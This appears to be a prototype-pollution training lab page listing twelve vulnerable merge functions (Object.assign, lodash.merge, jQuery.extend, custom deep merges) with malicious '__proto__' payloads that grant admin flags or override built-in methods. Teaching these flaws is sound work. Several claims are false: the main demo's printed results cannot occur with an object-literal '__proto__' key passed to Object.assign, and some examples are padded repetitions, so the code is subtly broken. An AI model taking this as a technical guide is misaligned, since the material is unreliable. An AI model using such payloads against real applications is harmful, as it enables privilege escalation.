Lab 3: Prototype Pollution with Merge

Prototype pollution via object merge functions

Difficulty: Medium

Lab Overview

This lab demonstrates prototype pollution vulnerabilities that occur when using object merge functions like Object.assign(), lodash.merge(), or jQuery.extend(). These functions can be exploited to pollute the prototype chain.

Objective: Understand how merge-based prototype pollution attacks work and how to exploit them.

Vulnerable Application
User Profile Merger

This application merges user profile data. Try to exploit prototype pollution vulnerabilities:

Merge Prototype Pollution Tester
⚠️ Merge Prototype Pollution Warning

This lab demonstrates merge-based prototype pollution vulnerabilities:

  • Object.assign() - Unsafe object assignment
  • lodash.merge() - Unsafe deep merge
  • jQuery.extend() - Unsafe jQuery merge
  • No validation - Missing input validation
Merge Attack Vectors

These merge functions can be exploited for prototype pollution:

  • Object.assign() - Object assignment
  • lodash.merge() - Deep merge
  • jQuery.extend() - jQuery merge
  • Custom merge - Custom merge functions
Merge Prototype Pollution Demo
JavaScript Merge Prototype Pollution Demonstration:

This demonstrates how merge functions can lead to prototype pollution:

// Vulnerable function that uses Object.assign function mergeProfile(target, source) { return Object.assign(target, source); } // Attacker input const maliciousInput = { "__proto__": { "isAdmin": true, "role": "admin" } }; // Vulnerable object const userProfile = { name: "john" }; // Pollution occurs here const merged = mergeProfile(userProfile, maliciousInput); // Now all objects have polluted prototype console.log({}.isAdmin); // true console.log({}.role); // "admin" // Even new objects are affected const newObj = {}; console.log(newObj.isAdmin); // true
The demo above shows how merge functions can lead to prototype pollution affecting all objects.
Processing Results
Processing Results:
No input processed yet
Vulnerability Details
  • Type: Merge Prototype Pollution
  • Severity: Medium
  • Method: Object merge functions
  • Issue: Unsafe object merging
Attack Vectors
  • Object.assign(): Object assignment
  • lodash.merge(): Deep merge
  • jQuery.extend(): jQuery merge
  • Custom merge: Custom merge functions
Merge Prototype Pollution Examples

Use these techniques to exploit merge-based prototype pollution vulnerabilities:

1. Object.assign() Pollution:
// Vulnerable code const result = Object.assign(target, source); // Malicious source const source = { "__proto__": { "isAdmin": true, "role": "admin" } };
2. lodash.merge() Pollution:
// Vulnerable code const result = _.merge(target, source); // Malicious source const source = { "__proto__": { "isAdmin": true, "role": "admin" } };
3. jQuery.extend() Pollution:
// Vulnerable code const result = $.extend(target, source); // Malicious source const source = { "__proto__": { "isAdmin": true, "role": "admin" } };
4. Custom Merge Function Pollution:
// Vulnerable custom merge function merge(target, source) { for (let key in source) { if (source.hasOwnProperty(key)) { target[key] = source[key]; } } return target; } // Malicious source const source = { "__proto__": { "isAdmin": true, "role": "admin" } };
5. Deep Merge Pollution:
// Vulnerable deep merge function deepMerge(target, source) { for (let key in source) { if (source.hasOwnProperty(key)) { if (typeof source[key] === 'object' && source[key] !== null) { target[key] = deepMerge(target[key] || {}, source[key]); } else { target[key] = source[key]; } } } return target; } // Malicious source const source = { "__proto__": { "isAdmin": true, "role": "admin" } };
6. Array Merge Pollution:
// Vulnerable array merge function mergeArrays(target, source) { return Object.assign(target, source); } // Malicious source const source = { "__proto__": { "push": function() { return "hacked"; }, "length": 999 } };
7. Function Merge Pollution:
// Vulnerable function merge function mergeFunctions(target, source) { return Object.assign(target, source); } // Malicious source const source = { "__proto__": { "toString": function() { return "hacked"; }, "valueOf": function() { return 0; } } };
8. Object Merge Pollution:
// Vulnerable object merge function mergeObjects(target, source) { return Object.assign(target, source); } // Malicious source const source = { "__proto__": { "hasOwnProperty": function() { return true; }, "toString": function() { return "hacked"; } } };
9. Date Merge Pollution:
// Vulnerable date merge function mergeDates(target, source) { return Object.assign(target, source); } // Malicious source const source = { "__proto__": { "getTime": function() { return 0; }, "toString": function() { return "hacked"; } } };
10. String Merge Pollution:
// Vulnerable string merge function mergeStrings(target, source) { return Object.assign(target, source); } // Malicious source const source = { "__proto__": { "charAt": function() { return "hacked"; }, "length": 999 } };
11. Number Merge Pollution:
// Vulnerable number merge function mergeNumbers(target, source) { return Object.assign(target, source); } // Malicious source const source = { "__proto__": { "valueOf": function() { return 0; }, "toString": function() { return "hacked"; } } };
12. Boolean Merge Pollution:
// Vulnerable boolean merge function mergeBooleans(target, source) { return Object.assign(target, source); } // Malicious source const source = { "__proto__": { "valueOf": function() { return true; }, "toString": function() { return "hacked"; } } };
Real-World Attack Scenarios
Mitigation Strategies
  • Validate input before merging
  • Use Object.create(null) for safe objects
  • Implement proper input sanitization
  • Use Object.freeze() to prevent modifications
  • Regular security testing and vulnerability assessments
  • Monitor for unusual object behavior
  • Implement proper authentication and authorization
  • Use secure coding practices
  • Implement rate limiting and request validation
  • Educate developers about prototype pollution
  • Use safe merge libraries
  • Implement proper error handling